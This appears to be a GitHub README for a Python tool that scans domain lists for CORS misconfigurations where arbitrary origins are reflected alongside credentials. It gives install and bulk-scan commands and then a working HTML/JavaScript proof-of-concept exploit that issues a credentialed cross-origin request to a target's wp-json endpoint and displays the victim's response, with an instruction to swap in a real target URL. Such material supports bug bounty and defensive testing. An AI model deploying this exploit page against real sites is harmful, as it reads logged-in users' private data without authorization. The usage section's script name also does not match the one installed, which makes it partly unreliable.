# CORS-Finder
## This tools is developed for identifying the vulnerable cors domain

![alt text](https://raw.githubusercontent.com/hariharan005/CORS/main/banner/Screenshot%20from%202023-07-01%2015-15-12.png)

### How to install CORS-Finder:
```
git clone https://github.com/hariharan005/CORS.git     
ls    
cd CORS
sudo pip3 install -r requirements.txt    
python3 cors.py
```
### Python Version:
* Python 3 (3.x.x) latest version

### How to Use CORS-Finder:

```
For scanning:
       cat <domain.txt> | xargs -n1 -P10 python3 corss.py                           
For scanning with output:  
       cat <domain.txt> | xargs -n1 -P10 python3 corss.py | tee -a <output.txt>
```

### When its vulnerable:
If the header returns the 
       Access-Control-Allow-Origin: https://vulnerable.com/
       Access-Control-Allow-Credentials: true
       its vulnerable

Note: Not all the time its seems vulnerable, you have to check with cors payload and in the authenticated manner also. Try to exploit and this tool is only for indentifying the vulnerable domain

Note: In this tool i used sample domain file but you have to choose your own url file which you recon using some other recon tool.


### Exploitation examples:

Here is the Example code for exploiting the CORS misconfiguration:

Goto this line and replace the URL xhr.open("GET", "https://www.vulnerable.com/blog/wp-json/", true);

```
<!DOCTYPE html>
<html>
    <title>Cors POC</title>
    <style>
        body{
            background-color: white;
            justify-content: center;
        }
        button{
            justify-content: center;
            align-items: center;
            color: white;
            border-radius: 8px;
            font-size: 18px;
            background-color: #6437A0;
            position: relative;
            width: 10%;
            height: 50px;
            display: grid;
        }
    </style>
     <body>
         <h1>CORS PoC by @crypto_grapper_</h1><span><h2>Hariharan.C</h2></span>
         <div id="demo">
                <button type="button" onclick="cors()" >Wp-json Exploit</button>
            </div>
         </div>
         <script>
             function cors() {
             var xhr = new XMLHttpRequest();
             xhr.onreadystatechange = function() {
                 if (this.readyState == 4 && this.status == 200) {
                 document.getElementById("demo").innerHTML = alert(this.responseText);
                 }
             };
             xhr.open("GET", "https://www.vulnerable.com/blog/wp-json/", true);
             xhr.withCredentials = true;
             xhr.send();
             }
             setTimeout(() => {
                document.location.reload("#");
             }, 5000);
         </script>
     </body>
 </html>
```